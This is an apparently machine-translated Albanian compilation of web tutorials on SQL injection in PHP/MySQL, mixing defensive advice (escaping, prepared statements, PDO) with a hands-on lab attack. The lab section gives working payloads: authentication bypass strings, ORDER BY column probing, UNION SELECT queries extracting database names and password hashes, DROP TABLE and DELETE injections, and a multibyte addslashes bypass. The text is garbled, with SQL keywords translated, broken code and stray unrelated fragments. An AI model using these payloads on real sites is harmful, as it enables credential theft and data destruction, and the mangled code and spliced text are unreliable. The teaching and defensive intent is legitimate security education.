Shumë shpesh, pyetjet e gjeneruara në mënyrë dinamike përdoren për të marrë çdo të dhënë nga baza e të dhënave. Për shembull:

  • SELECT * NGA tabela WHERE numri = "$number".

Këtu ndryshorja $number kalon si përcaktim i vlerës së fushës. Çfarë do të ndodhë nëse Bregu i Fildishtë futet në të? Gabim.

Sigurisht, ju mund ta shmangni këtë telashe duke aktivizuar "citimet magjike" në cilësimet. Por tani të dhënat do të kontrollohen aty ku është e nevojshme dhe ku nuk është e nevojshme. Përveç kësaj, nëse kodi është shkruar me dorë, atëherë mund të shpenzoni pak më shumë kohë duke krijuar vetë një sistem rezistent ndaj hakerave.

Për të shtuar vetë një prerje, mund të përdorni mysql_real_escape_string.

$number=mysql_real_escape_string($number);

$vit=mysql_real_escape_string($vit);

$query="FUT NE tabelën (numri, viti, klasa) VALUES ("$number","$year",11)".

Megjithëse kodi është rritur në vëllim, ai do të vazhdojë të funksionojë shumë më i sigurt.

Vendmbajtësit

Vendmbajtësit janë shënues unikë me anë të të cilëve sistemi e di se një funksion i veçantë duhet të futet në këtë vend. Për shembull:

$sate = $mysqli->prepare("SELECT District FROM Number WHERE Emri=?");

$sate->bind_param("s", $number);

$sate->ekzekutoni();

Ky seksion i kodit përgatit një shabllon kërkese, më pas lidh variablin numër dhe e ekzekuton atë. Kjo qasje ju lejon të ndani përpunimin e kërkesave dhe zbatimin e tij. Në këtë mënyrë, ju mund të mbroheni nga përdorimi i injektimit të kodit me qëllim të keq në pyetjet SQL.

Çfarë mund të bëjë një sulmues?

Mbrojtja e sistemit është një faktor shumë i rëndësishëm që nuk mund të neglizhohet. Sigurisht, një uebsajt i thjeshtë i kartës së biznesit do të jetë më i lehtë për t'u rikthyer. Po sikur të jetë një portal, shërbim, forum i madh? Çfarë pasojash mund të ketë nëse nuk mendoni për sigurinë?

Së pari, një haker mund të shkelë integritetin e bazës së të dhënave dhe ta fshijë atë tërësisht. Dhe nëse administratori ose hosti i faqes nuk ka bërë një kopje rezervë, atëherë do të jetë e vështirë. Për më tepër, një sulmues, pasi ka hakuar një faqe, mund të lëvizë te të tjerët të vendosur në të njëjtin server.

Më pas vjen vjedhja e të dhënave personale të vizitorëve. Mënyra e përdorimit të tyre është e kufizuar vetëm nga imagjinata e hakerit. Por në çdo rast, pasojat nuk do të jenë shumë të këndshme. Sidomos nëse përmbante informacion financiar.

Një sulmues gjithashtu mund t'i zbulojë vetes bazën e të dhënave dhe më pas të zhvat para për kthimin e saj.

Keqinformimi i përdoruesve në emër të një personi që nuk është ata mund të ketë gjithashtu pasoja negative, pasi rastet e mashtrimit janë të mundshme.

konkluzioni

Të gjitha informacionet në këtë artikull janë dhënë vetëm për qëllime informative. Ju duhet ta përdorni atë vetëm për të testuar projektet tuaja kur identifikoni dobësitë dhe eliminoni ato.

Për një studim më të thelluar të metodologjisë se si të kryhet një injeksion SQL, duhet të filloni duke hulumtuar në fakt aftësitë dhe veçoritë e gjuhës SQL. Si përbëhen pyetjet, fjalët kyçe, llojet e të dhënave dhe aplikimi i gjithë kësaj.

Ju gjithashtu nuk mund të bëni pa kuptuar se si funksionojnë PHP dhe elementët HTML. Pikat kryesore të cenueshme për përdorimin e injeksioneve janë shiriti i adresave, kërkimi dhe fusha të ndryshme. Studimi i funksioneve të PHP, si zbatohen dhe aftësitë e tyre do t'ju ndihmojë të kuptoni se si mund të shmangni gabimet.

Prania e shumë mjeteve softuerike të gatshme ju lejon të bëni një analizë të thellë të faqes për dobësitë e njohura. Një nga produktet më të njohura është kali linux. Ky është një imazh i një sistemi operativ të bazuar në Linux, i cili përmban një numër të madh shërbimesh dhe programesh që mund të kryejnë një analizë gjithëpërfshirëse të faqes për forcë.

Pse duhet të dini se si të hakoni një faqe interneti? Gjithçka është shumë e thjeshtë - kjo është e nevojshme për të pasur një ide për zonat potencialisht të cenueshme të projektit ose faqes tuaj të internetit. Sidomos nëse ky është një dyqan online me aftësinë për të paguar në internet, ku të dhënat e pagesës së përdoruesit mund të rrezikohen nga një sulmues.

Për kërkime profesionale, shërbimet e sigurisë së informacionit do të mund të kontrollojnë faqen sipas kritereve dhe thellësisë së ndryshme. Duke filluar nga injeksioni i thjeshtë HTML tek inxhinieria sociale dhe phishing.

Ju urojmë suksese në përfundimin e tij. Rezultatet e kalimit tuaj do të publikohen më vonë (ndiqni lajmet në rrjetet sociale), dhe të gjithë atyre që kanë kaluar do t'u dërgohet një ftoj për t'u regjistruar në faqe.

Pëlqejeni, ndajeni me miqtë dhe kolegët, ripostoni në rrjetet sociale.

Të gjithë programuesit kanë lexuar ose të paktën dëgjuar për metodat për hakimin e sigurisë së faqes në internet. Ose edhe hasur në këtë problem. Nga ana tjetër, imagjinata e atyre që duan të thyejnë sitin është e pafund, kështu që të gjitha pengesat duhet të mbrohen mirë. Kjo është arsyeja pse unë do të doja të filloja një seri artikujsh të shkurtër që do të prezantojnë metodat dhe teknikat bazë të hakerimit të faqeve në internet.

Në artikullin e parë, do të doja të përshkruaj dhe të shpjegoj disa metoda të zakonshme për hakimin e një prej pjesëve më të cenueshme të faqes - formularëve. Do të hyj në detaje se si të përdoren këto teknika dhe si të parandalohen sulmet, si dhe të mbuloj testimin e sigurisë.

injeksion SQL

Injeksioni SQl është një teknikë ku një sulmues fut komandat SQL në një fushë hyrëse në një faqe interneti. Ky imput mund të jetë çdo gjë - një fushë teksti në një formë, parametra _GET dhe _POST, cookie, etj. Kjo metodë ishte shumë efektive përpara ardhjes së kornizave në botën PHP. Por ky hak mund të jetë ende i rrezikshëm nëse nuk përdorni një ORM ose ndonjë shtesë tjetër për objektin e të dhënave. Pse? Për shkak të mënyrës se si kalohen parametrat në pyetjen SQL.

Injeksione "të verbëra".

Le të fillojmë me një shembull klasik të një deklarate SQL që e kthen përdoruesin sipas hash-it të tij të hyrjes dhe fjalëkalimit (faqe identifikimi)

Shembulli 1

mysql_query("SELECT ID, login FROM users WHERE login = ? dhe password = hash(?)");

Vendosa pikëpyetje në shprehje për shkak të variacioneve të ndryshme të kësaj zgjidhjeje. Opsioni i parë, për mendimin tim, është më i prekshmi:

Shembulli 1a

Mysql_query(" SELECT ID, login FROM users WHERE login = "" . $login . "" dhe password = hash("" . $password . "")");

Në këtë rast, kodi nuk kontrollon për futje të pavlefshme të të dhënave. Vlerat kalohen drejtpërdrejt nga formulari i hyrjes në pyetjen SQL. Në rastin më të mirë, përdoruesi do të vendosë emrin e përdoruesit dhe fjalëkalimin e tij këtu. Cili është skenari më i keq? Le të përpiqemi të hakojmë këtë formë. Kjo mund të bëhet duke kaluar të dhëna "të përgatitura". Le të përpiqemi të identifikohemi si përdoruesi i parë nga baza e të dhënave, dhe në shumicën e rasteve kjo është llogaria e administratorit. Për ta bërë këtë, ne do të kalojmë një varg të veçantë në vend që të futemi në hyrje:

" OSE 1 = 1; --

Citimi i parë mund të jetë gjithashtu një citat i vetëm, kështu që një përpjekje për hakerim mund të mos jetë e mjaftueshme. Në fund ka një pikëpresje dhe dy viza në mënyrë që gjithçka që vjen më pas të kthehet në koment. Si rezultat, pyetja e mëposhtme SQL do të ekzekutohet:

SELECT ID, identifikohu nga përdoruesit WHERE login = “;” OSE 1=1 LIMIT 0.1; - dhe fjalëkalimi = hash (";Disa fjalëkalim")

Ai do të kthejë përdoruesin e parë nga baza e të dhënave dhe ndoshta do të hyjë në aplikacion si ai përdorues. Një veprim i mirë do të ishte shtimi i LIMIT për t'u identifikuar si çdo përdorues individual. Kjo është e vetmja gjë që nevojitet për të kaluar çdo vlerë.

Mënyra më serioze

Në shembullin e mëparshëm, gjithçka nuk është aq e frikshme. Opsionet në panelin e kontrollit të administratorit janë gjithmonë të kufizuara dhe do të duhej shumë punë për të thyer realisht faqen. Por një sulm përmes injektimit SQL mund të çojë në dëmtim shumë më të madh të sistemit. Mendoni se sa aplikacione janë krijuar me "përdoruesit" e tabelës kryesore dhe çfarë do të ndodhte nëse një sulmues do të fuste kodin si ky në një formë të pambrojtur:

Hyrja ime e preferuar"; DROP TABLE; --

Tabela "përdoruesit" do të fshihet. Kjo është një nga arsyet për të bërë më shpesh kopje rezervë të bazës së të dhënave.

_GET parametrat

Të gjithë parametrat e plotësuar përmes formularit transmetohen në server duke përdorur një nga dy metodat - GET ose POST. Parametri më i zakonshëm i kaluar përmes GET është id. Ky është një nga vendet më të cenueshme për sulme dhe nuk ka rëndësi se çfarë lloj URL-je përdorni - ` http://example.com/ përdoruesit/?id=1", ose " http://example.com/ përdoruesit/1`, ose ` http://....../.../ postim/35 `.

Çfarë ndodh nëse futim kodin e mëposhtëm në URL?

Http://example.com/users/?id=1 DHE 1=0 UNION SELECT 1,concat(login,password), 3,4,5,6 NGA përdoruesit WHERE id =1; --

Ndoshta, një kërkesë e tillë do të kthejë hyrjen e përdoruesit dhe ... një hash të fjalëkalimit të tij. Pjesa e parë e kërkesës 'AND 1=0' e kthen atë që i paraprin në false, kështu që nuk do të merret asnjë regjistrim. Dhe pjesa e dytë e kërkesës do të kthejë të dhënat në formën e të dhënave të përgatitura. Dhe meqenëse parametri i parë është id, tjetri do të jetë identifikimi i përdoruesit dhe hash-i i fjalëkalimit të tij dhe disa parametra të tjerë. Ka shumë programe që përdorin forcë brutale për të deshifruar një fjalëkalim si ai në shembull. Dhe duke qenë se përdoruesi mund të përdorë të njëjtin fjalëkalim për shërbime të ndryshme, është e mundur që të ketë akses në to.

Dhe këtu është ajo që është kurioze: është krejtësisht e pamundur të mbrohesh kundër këtij lloji sulmi duke përdorur metoda si `mysql_real_escape_string`, `addslashes`, etj. d. Në thelb, nuk ka asnjë mënyrë për të shmangur një sulm të tillë, kështu që nëse parametrat kalohen si kjo:

"ZGJEDH ID, login, email, param1 FROM users WHERE id = " . addslashes($_GET["id"]);"

problemet nuk do të largohen.

Shpëtimi i karaktereve në një varg

Kur isha i ri në programim, e kisha të vështirë të punoja me kodime. Nuk e kuptova cili ishte ndryshimi midis tyre, pse të përdorni UTF-8 kur keni nevojë për UTF-16, pse baza e të dhënave e vendos gjithmonë kodimin në latin1. Kur më në fund fillova të kuptoja të gjitha këto, zbulova se do të kishte më pak probleme nëse do të mbaja gjithçka në një standard kodimi. Gjatë renditjes së gjithë kësaj, vura re gjithashtu çështje sigurie që lindin gjatë konvertimit nga një kodim në tjetrin.

Problemet e përshkruara në shumicën e shembujve të mëparshëm mund të shmangen duke përdorur thonjëza të vetme në pyetje. Nëse përdorni addslashes(), sulmet e injektimit SQL që bazohen në thonjëza të vetme të arratisura me një vijë të prapme do të dështojnë. Por një sulm i tillë mund të funksionojë nëse thjesht zëvendësoni një karakter me kodin 0xbf27, addslashes() e konverton atë në një karakter me kodin 0xbf5c27 - dhe ky është një karakter plotësisht i vlefshëm me citat e vetme. Me fjalë të tjera, `뼧` do të kalojë përmes addslashes() dhe më pas hartëzimi i MySQL do ta shndërrojë atë në dy karaktere 0xbf (¿) dhe 0x27 (‘).

"SELECT * FROM përdoruesit WHERE login = ""; . addslashes($_GET["login"]) . ";"";

Ky shembull mund të hakohet duke kaluar 뼧 ose 1=1; -- në fushën e hyrjes në formë. Motori SQL do të gjenerojë pyetjen përfundimtare si kjo:

SELECT * NGA përdoruesit WHERE login = "¿" OSE 1=1; --

Dhe do të kthejë përdoruesin e parë nga baza e të dhënave.

Mbrojtja

Si të mbroni aplikacionin? Ka shumë metoda, përdorimi i të cilave nuk do ta bëjë aplikacionin plotësisht të paprekshëm, por të paktën do të rrisë sigurinë e tij.

Duke përdorur mysql_real_escape_string

Funksioni addslashes() është jo i besueshëm sepse nuk lejon shumë raste hakerimi. mysql_real_escape_string nuk ka probleme të tilla

Duke përdorur MySQLi

Kjo shtesë MySQL mund të funksionojë me parametra të lidhur:

$stmt = $db->prepare("update uets set parameter = ? ku id = ?"); $stmt->bind_param("si", $name, $id); $stmt->ekzekutoni();

Përdorimi i PDO

Rrugë e gjatë për të zëvendësuar parametrat:

$dbh = PDO e re ("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("INSERT NE REGJISTRI (emri, vlera) VLERAT (:name, :value)"); $stmt->bindParam(":name", $name); $stmt->bindParam(":value", $value); // fut një rresht $name = "një"; $value = 1; $stmt->ekzekutoni();

Mënyra e shkurtër:

$dbh = PDO e re ("mysql:dbname=testdb;host=127.0.0.1", $user, $password); $stmt = $dbh->prepare("UPDATE personat SET name = :new_name WHERE id = :id"); $stmt->ekzekutoni(array("emri_i_ri" => $emri, "id" => $id));

Duke përdorur ORM

Përdorni parametrat ORM dhe PDO dhe lidhni (përdorni lidhjen). Shmangni SQL në kodin tuaj, nëse shihni SQL në kodin tuaj, atëherë ka diçka që nuk shkon me të.

ORM do të kujdeset për sigurinë në pengesat në verifikimin e kodit dhe parametrave.

konkluzionet

Qëllimi i kësaj serie nuk është të sigurojë një udhëzues të plotë për hakerimin e faqeve të internetit, por të sigurojë sigurinë e aplikacionit dhe të parandalojë sulmet nga çdo burim. Unë u përpoqa ta shkruaj këtë artikull jo vetëm për programuesit - ata duhet të jenë të vetëdijshëm për çdo kërcënim në kod dhe të dinë t'i parandalojnë ato, por edhe për inxhinierët cilësorë - sepse detyra e tyre është të gjurmojnë dhe raportojnë çështje të tilla.

Thelbi i injeksioneve SQL

Ju ndoshta e keni dëgjuar tashmë shakanë nga interneti: " Pse është e njëjtë në të gjitha mësimet e vizatimit: Për shembull, një mësim për vizatimin e një bufi. Së pari, ne tërheqim syrin e bufit në detaje për gjysmë ore. Dhe pastaj - një herë - në pesë minuta - ne tërheqim pjesën tjetër të bufit».

Ekziston edhe një foto për këtë:

Ka shumë materiale për injeksionet SQL: artikuj, libra, kurse video (me pagesë dhe falas). Megjithatë, jo shumë prej tyre shtojnë mirëkuptimin për këtë çështje. Sidomos nëse jeni fillestar. I mbaj mend mirë ndjenjat e mia: këtu është rrethi, këtu është pjesa tjetër e bufit...

Qëllimi i këtij shënimi është të tërheqë syrin te bufi për të dhënë një shpjegim normal dhe të thjeshtë, çfarë janë injeksionet SQL, cili është thelbi i tyre, sa të rrezikshëm janë dhe pse.

Për eksperimente, ne do të kemi një skript shumë të thjeshtë që është i prekshëm ndaj injektimit SQL:

Për të hyrë në bibliotekën rajonale të Bobruisk, shkruani kredencialet tuaja:

Shkruaj emrin tend

Futni fjalëkalimin tuaj


pyetje ("SET EMRAVE UTF8"); $mysqli->query("VENDOSJA E KARAKTERIT UTF8"); $mysqli->query ("SET karakter_set_klient = UTF8"); $mysqli->query ("SET_karakter_set_lidhje = UTF8"); $mysqli->query ("SET_karaktereve_set_rezultateve = UTF8"); ) $emri = filter_input (INPUT_GET, "emri"); $fjalëkalim = filter_input (INPUT_MERR, "fjalëkalim"); if ($result = $mysqli->query("SELECT * FROM `members` WHERE emri = "$name" AND password = $password")) ( ndërsa ($obj = $result->fetch_object()) (echo "

Emri juaj:$obj->emri

Statusi juaj:$obj->statusi

Librat në dispozicion për ju:$obj->libra


"; ) ) else ( printf("Gabim: %sn", $mysqli->gabim); ) $mysqli->close(); ?>

Do të kuptoni shumë më tepër nëse bëni gjithçka me mua. Pra ja ku është. Ai përmban dy skedarë: indeks.php Dhe db_library.sql. Vendosni skedarin index.php kudo në server - ky është skripti ynë i cenueshëm. Dhe skedari db_library.sql duhet të importohet, për shembull, duke përdorur phpMyAdmin.

Në skedarin index.php, emri i përdoruesit të bazës së të dhënave është vendosur në rrënjë dhe fjalëkalimi është bosh. Ju mund të futni të dhënat tuaja duke redaktuar rreshtin:

$mysqli = mysqli i ri ("localhost", "root", "", "db_library");

Sipas legjendës, kjo është një formë identifikimi në versionin online të bibliotekës rajonale Bobruisk. Tashmë na janë dhënë kredencialet: emri i përdoruesit - Demo, fjalëkalimi - 111.

Le t'i futim ato dhe të shohim:

Kredencialet tona janë pranuar, emri, statusi dhe librat që kemi në dispozicion shfaqen në ekrane. Mund të provoni, me çdo të dhënë tjetër (nëse ndryshoni emrin ose fjalëkalimin), ne nuk do të jemi në gjendje të identifikohemi dhe të shohim librat e disponueshëm për lexim. Ne gjithashtu nuk kemi asnjë mënyrë për të ditur se cilët libra janë të disponueshëm për të tjerët sepse nuk dimë emrin e përdoruesit dhe fjalëkalimin e tyre.

Le të shohim kodin burimor për të kuptuar se si ka ndodhur kërkesa e bazës së të dhënave:
fjalë ZGJIDH në një pyetje SQL tregon se cilat të dhëna duhet të merren. Për shembull, mund të specifikoni emrin SELECT, ose SELECT emrin, fjalëkalimin. Pastaj në rastin e parë do të merrej vetëm emri nga tabela, dhe në të dytën - vetëm emri dhe fjalëkalimi. Ylli thotë që ju duhet të merrni të gjitha vlerat. Ato. SELECT * - kjo do të thotë për të marrë të gjitha vlerat.

NGA tregon se nga duhet t'i merrni ato. FROM pasohet nga emri i tabelës, d.m.th., hyrja "Anëtarët" FROM thotë merrni nga tabela "anëtarë".

Me tutje KU, nëse keni studiuar ndonjë gjuhë programimi, atëherë kjo fjalë i ngjan më së shumti "Nëse". Dhe pastaj ka kushte, këto kushte mund të jenë të vërteta (1) ose të rreme (0). Në rastin tonë

(emri = '$name') DHE (fjalëkalimi ='$fjalëkalimi')

do të thotë që kushti do të jetë i vërtetë nëse ndryshorja e kaluar $name është e barabartë me vlerën e fushës së emrit në tabelë dhe ndryshorja e kaluar '$password është e barabartë me vlerën e fushës së fjalëkalimit në tabelë. Nëse të paktën një kusht nuk plotësohet (emri i përdoruesit ose fjalëkalimi i pasaktë), atëherë asgjë nuk do të merret nga tabela, p.sh. shprehja SELECT * FROM `anëtarët` WHERE emri = '$name' AND fjalëkalimi ='$fjalëkalimi' do të thotë : në tabela "anëtarët", merrni vlerat e të gjitha fushave nëse plotësohet kushti për to - emri i përdoruesit dhe fjalëkalimi i kaluar përputhen me ato që gjenden në tabelë.

Është e qartë. Le të futim tani, për shembull, një citat të vetëm me emrin e përdoruesit:

Shiriti i adresës:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo'&password=111

Nuk u morën të dhëna, përkundrazi shohim një gabim:
Kur futëm të dhënat e sakta, kërkesa jonë dukej kështu:
Duke shtuar një kuotë, pyetja jonë bëhet:
Vendos hapësira shtesë për qartësi, dmth marrim kërkesën
Nga rruga, kërkesa është e saktë në sintaksë. Dhe menjëherë pas saj, pa asnjë ndarës, vazhdon kërkesa:

"AND password="111"

Kjo është ajo që thyen gjithçka, pasi numri i kuotave të hapjes dhe mbylljes nuk është i barabartë. Për shembull, mund të futni një citat tjetër:
Shiriti i adresës:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo»&password=111

Gabimi u zhduk, por kjo nuk i shtoi asnjë kuptim kërkesës. Bishti i pakuptimtë i kërkesës po na shqetëson. Si mund ta heqim qafe atë?

Ka një përgjigje - këto janë komente.

Komentet në MySQL mund të specifikohen në tre mënyra:

  1. # (hash - funksionon deri në fund të rreshtit)
  2. - (dy viza - punoni deri në fund të rreshtit, ju duhet një karakter hapësinor pas dy pikave)
  3. /* ky eshte nje koment */ një grup prej katër personazhesh - gjithçka brenda është një koment, gjithçka para ose pas këtij grupi personazhesh nuk konsiderohet koment.
Le të vendosim një koment në pyetjen tonë me një thonjëza, pas këtij citimi vendosim një shenjë komenti për të hequr bishtin dhe një shenjë +, e cila tregon një hapësirë, në mënyrë që pyetja të dalë kështu:
Shiriti i adresës:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo'-+&password=111

Jo vetëm që gabimi u zhduk, por të dhënat e sakta u shfaqën për përdoruesin Demo. Që tani kërkesa jonë ka marrë formën
në fund të fundit, bishti i kalit -+ 'DHE fjalëkalimi ='111' shndërrohet në koment dhe nuk ndikon më në kërkesë.

Hidhini një sy tjetër kërkesës së re:
Dhe nuk e kontrollon më fjalëkalimin! Ato. Duke ditur emrat e përdoruesve të ligjshëm, por duke mos ditur fjalëkalimet e tyre, ne mund të shikojmë të dhënat e tyre personale. Ato. Tashmë kemi filluar të shfrytëzojmë injeksionin SQL.

Për fat të keq, unë nuk di ndonjë emër të ligjshëm dhe duhet të dal me diçka tjetër.

Le të hedhim një vështrim më të afërt në këtë pjesë të kërkesës:
E mbani mend DHE-në që përdoret në pyetjen e parë? Ai qëndron për funksionimin logjik DHE. Më lejoni t'ju kujtoj se operacioni logjik "AND" prodhon "true" (1) vetëm nëse të dyja shprehjet janë të vërteta. Por operatori logjik "OR" prodhon "true" (1) edhe nëse të paktën një nga shprehjet është e vërtetë. Ato. shprehje
do të jetë gjithmonë e vërtetë do të kthejë gjithmonë 1. Sepse një nga dy shprehjet që krahasohen do të kthejë gjithmonë 1.

Ato. ne duhet të krijojmë një shprehje që duket si kjo:
Shiriti i adresës:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo' OSE 1 -+ &password=111

Rezultati:

Rezultati është i shkëlqyer! Ne morëm një listë të të gjitha rekordeve në tabelë.

ORDER BY dhe UNION janë miqtë kryesorë të injeksioneve SQL

Ne kemi marrë tashmë të dhëna që ishin të paarritshme për ata që nuk kishin një emër përdoruesi dhe fjalëkalim të vlefshëm. A ka ndonjë gjë tjetër që mund të marr? Po, mund të merrni një depon të plotë të kësaj tabele (më lejoni t'ju kujtoj, ne ende nuk kemi fjalëkalime. Për më tepër, ne mund t'i marrim të gjitha të dhënat nga të gjitha bazat e të dhënave në këtë server përmes një vrime të vogël!

BASHKIM ju lejon të kombinoni pyetjet SQL. Në jetën reale, detyrat e mia janë të thjeshta, dhe për këtë arsye pyetje të thjeshta për bazat e të dhënave dhe aftësitë BASHKIM Unë nuk e përdor atë. Por për injeksionet SQL nuk ka fjalë më të vlefshme se kjo.

BASHKIM ju lejon të kombinoni në mënyrë mjaft fleksibël pyetjet SQL me SELECT, duke përfshirë nga baza të të dhënave të ndryshme. Por ekziston një kërkesë e rëndësishme sintaksore: numri i kolonave në SELECT të parë duhet të jetë i barabartë me numrin e kolonave në SELECT të dytë.

URDHËR NGA vendos renditjen e të dhënave të marra nga tabela. Mund të renditni sipas emrit të kolonës ose sipas numrit të saj. Për më tepër, nëse nuk ka kolonë me këtë numër, atëherë do të shfaqet një gabim:

Shiriti i adresës:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ POROSIT ME 1 -+ &fjalëkalimin=111

Kërkesa duket si kjo:
Ne e zëvendësuam emrin e përdoruesit me -1 në mënyrë që të mos shfaqen të dhëna.

Nuk ka asnjë gabim, nuk ka as gabim me kërkesat
Dhe këtu është kërkesa
ajo korrespondon me shiritin e adresave

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ORDER NGA 6 -+ &password=111

Kam marrë një gabim

Kjo do të thotë se të dhënat zgjidhen nga tabela në pesë kolona.

Ne ndërtojmë pyetjen tonë me UNION:

Siç thashë, numri i fushave duhet të jetë i njëjtë në të dy SELECT, por ajo që është në këto fusha nuk është shumë e rëndësishme. Për shembull, thjesht mund të futni numra - dhe këta janë ata që do të shfaqen. Mund të futni NULL - atëherë asgjë nuk do të shfaqet në vend të fushës.
Shiriti i adresës:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,5 -+ &password=111

Një mënyrë tjetër për të gjetur numrin e kolonave është përdorimi i të njëjtit UNION. Duke përdorur një shkallë, ne shtojmë numrin e kolonave:
Ata të gjithë do të prodhojnë të njëjtin gabim:

Bëni këtë derisa mesazhi i gabimit të zhduket.

Ju lutemi vini re se përmbajtja e disa fushave UNION SELECT 1,2,3,4,5 shfaqet në ekran. Në vend të numrave, mund të specifikoni funksionet.

Çfarë të shkruani në SELECT

Ka disa funksione që mund të shkruhen drejtpërdrejt në UNION:

  • BAZA E TË DHËNAVE()- tregoni emrin e bazës së të dhënave aktuale
  • CURRENT_USER()- tregon emrin e përdoruesit dhe emrin e hostit
  • @@datadir- shfaq rrugën absolute për në bazën e të dhënave
  • USER ()- Emri i përdoruesit
  • VERSION()- versioni i bazës së të dhënave
Në shembullin tonë shfaqen fushat 2, 4 dhe 5. D.m.th. ne mund të përdorim ndonjë nga këto fusha.

Duke përdorur DATABASE() në UNION SELECT

Adresë:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,BAZA E TË DHËNAVE() -+ &fjalëkalimi=111

Rezultati:

Marrja e emrave të tabelave, fushave dhe depozitimit të bazës së të dhënave

Në bazën e të dhënave informacion_skema ka një tabelë të quajtur tabelat. Kjo tabelë përmban një listë të të gjitha tabelave që janë të pranishme në të gjitha bazat e të dhënave në këtë server. Ne mund të zgjedhim tabelat tona duke kërkuar në fushë skema_tabele Emri i bazës sonë të të dhënave është 'db_library' (emrin e gjetëm duke përdorur DATABASE()).

Kjo quhet teknika e plotë UNION. Ka shumë materiale për të në internet. Në serverin tim MySQL, teknika e plotë UNION nuk funksionon. Po marr nje gabim
Nuk funksionon për shkak të lakimit të krahëve, sepse kjo teknikë gjithashtu nuk sjell rezultate me sqlmap:

Diçka shkoi keq me teknikën e plotë UNION (mund të jetë për shkak të kufizimit në numrin e marrë të hyrjeve). Rikthimi në teknikën UNION të pjesshëm

Kjo mund të jetë për shkak të versionit 5.6 të MySQL. Sepse Unë nuk mund të jap shembuj praktikë dhe nuk jam i interesuar të rishkruaj komandat e prishura të njerëzve të tjerë - tani, edhe pa mua, ka aq shumë "teoricientë të mëdhenj" në internet sa të doni, kështu që vendosa të kaloj menjëherë në duke marrë parasysh teknikën UNION të pjesshëm. Por kjo nuk është teknika më e thjeshtë, dhe artikulli tashmë është mjaft i gjatë.

Në pjesën tjetër të artikullit do të studiojmë teknikën e pjesshme UNION, me ndihmën e saj do të marrim të gjitha të dhënat në server: emrat e bazave të të dhënave, emrat e tabelave dhe fushave të tyre në këto tabela, si dhe përmbajtjen e tyre. . Ndërsa prisni që të shfaqet pjesa e dytë, praktikoni, lexoni për injeksionet SQL dhe teknikën UNION; artikujt e mëposhtëm rekomandohen gjithashtu për lexim:

P.S. oh po, harrova LIMIT. Herën tjetër do të flas edhe për rolin e LIMIT në injeksionet SQL.

Injeksionet SQL - futja e kodit me qëllim të keq në pyetjet e bazës së të dhënave - janë lloji më i rrezikshëm i sulmit. Duke përdorur injeksione SQL, një sulmues jo vetëm që mund të marrë informacion privat nga baza e të dhënave, por gjithashtu, në kushte të caktuara, të bëjë ndryshime atje.

Dobësia e injektimit SQL ndodh sepse informacioni i përdoruesit përfshihet në një pyetje të bazës së të dhënave pa përpunim të duhur: për t'u siguruar që skripti nuk është i cenueshëm, është e nevojshme të sigurohet që të gjitha të dhënat e përdoruesit të përfundojnë në të gjitha pyetjet e bazës së të dhënave në një formë të ikjes. Kërkesa e universalitetit është gur themeli: një shkelje e kryer në një skenar e bën të gjithë sistemin të cenueshëm.

Shembull i një cenueshmërie

Le të supozojmë se ekziston një skript që shfaq një listë të përdoruesve nga një qytet i caktuar, duke marrë ID-në e qytetit si një parametër GET. Skripti do të aksesohet nëpërmjet HTTP në /users.php?cityid=20

Në skriptin e mësipërm, zhvilluesi fut një parametër GET në pyetjen SQL, duke nënkuptuar se parametri GET gjithmonë do të përmbajë një numër. Një sulmues mund të kalojë një varg si parametër dhe në këtë mënyrë të korruptojë kërkesën. Për shembull, ai do t'i qaset skriptit si /users.php?cityid=20; FSHIJE * NGA përdoruesit
Pyetja SQL do të duket kështu:

Kërkesa do të ekzekutohet dhe skripti do të kthejë jo vetëm përdoruesit nga qyteti i specifikuar, por edhe një listë të të gjithë përdoruesve, fjalëkalimi i të cilëve do të shfaqet në vend të emrit të tyre të vërtetë.

Si të mbroheni?

Le t'i bashkojmë informacionet e përdoruesit në thonjëza të vetme. A do të ndihmojë kjo?

Nga shembulli i mësipërm, mund të shihni se mbyllja e thonjëzave të vetme nuk është e mjaftueshme. Ju gjithashtu duhet t'i shpëtoni çdo thonjëza që përmbahet në varg. Për ta bërë këtë, PHP ofron funksionin mysql_real_escape_string(), i cili shton një kthesë të prapme përpara çdo citimi, kuotë prapa dhe disa karaktere të tjera të veçanta. Le të shohim kodin:

Pra, për të mbrojtur kundër injeksioneve SQL, të gjithë parametrat e jashtëm që mund të përmbajnë tekst duhet të përpunohen duke përdorur mysql_real_escape_string() dhe janë të mbyllura në thonjëza të vetme.

Nëse e dini se një parametër duhet të marrë një vlerë numerike, ai mund të konvertohet në formë numerike në mënyrë eksplicite duke përdorur funksionin intval () ose floatval (). Në këtë shembull mund të përdorim:

$sql = "ZGJIDH emrin e përdoruesit, emrin e vërtetë
NGA përdoruesit
WHERE cityid=""
.inval ( $_GET ["qyteti" ] ) .""" ;

Dallimet midis mysql_real_escape_string () dhe mysql_escape_string ()

mysql_real_escape_string() është një version i përmirësuar i funksionit mysql_escape_string(), i cili përdoret gjerësisht për të gjeneruar pyetje të sigurta në bazën e të dhënave MySQL. Dallimi midis këtyre dy funksioneve është se mysql_real_escape_string() punon saktë me kodime me shumë bajt.

Supozoni se ka një karakter në të dhënat që përpunohen (të themi, në UTF-8), kodi i të cilit përbëhet nga dy bajtë - heksadecimal 27 dhe 2B (decimal 39 dhe 43, përkatësisht). mysql_escape_string() trajton çdo bajt të dhënash që i kalon si një karakter të veçantë (më saktë, si kodin e një karakteri të veçantë) dhe vendos që sekuenca e bajteve 27 dhe 2B janë dy karaktere të ndryshme: një thonjëza e vetme (") dhe një plus (+). Për shkak se funksioni pranon një kuotë si karakter të veçantë, një prerje (\) do të shtohet përpara bajtit me kodin 27, i cili në fakt është pjesë e një karakteri të padëmshëm. Si rezultat, të dhënat do të dërgohen te bazën e të dhënave në një formë të shtrembëruar.

Vlen të përmendet se mysql_real_escape_string() funksionon saktë në të gjitha rastet dhe mund të zëvendësojë plotësisht mysql_escape_string().

mysql_real_escape_string() është i disponueshëm në PHP që nga versioni 4.3.0.

Shembuj shtesë

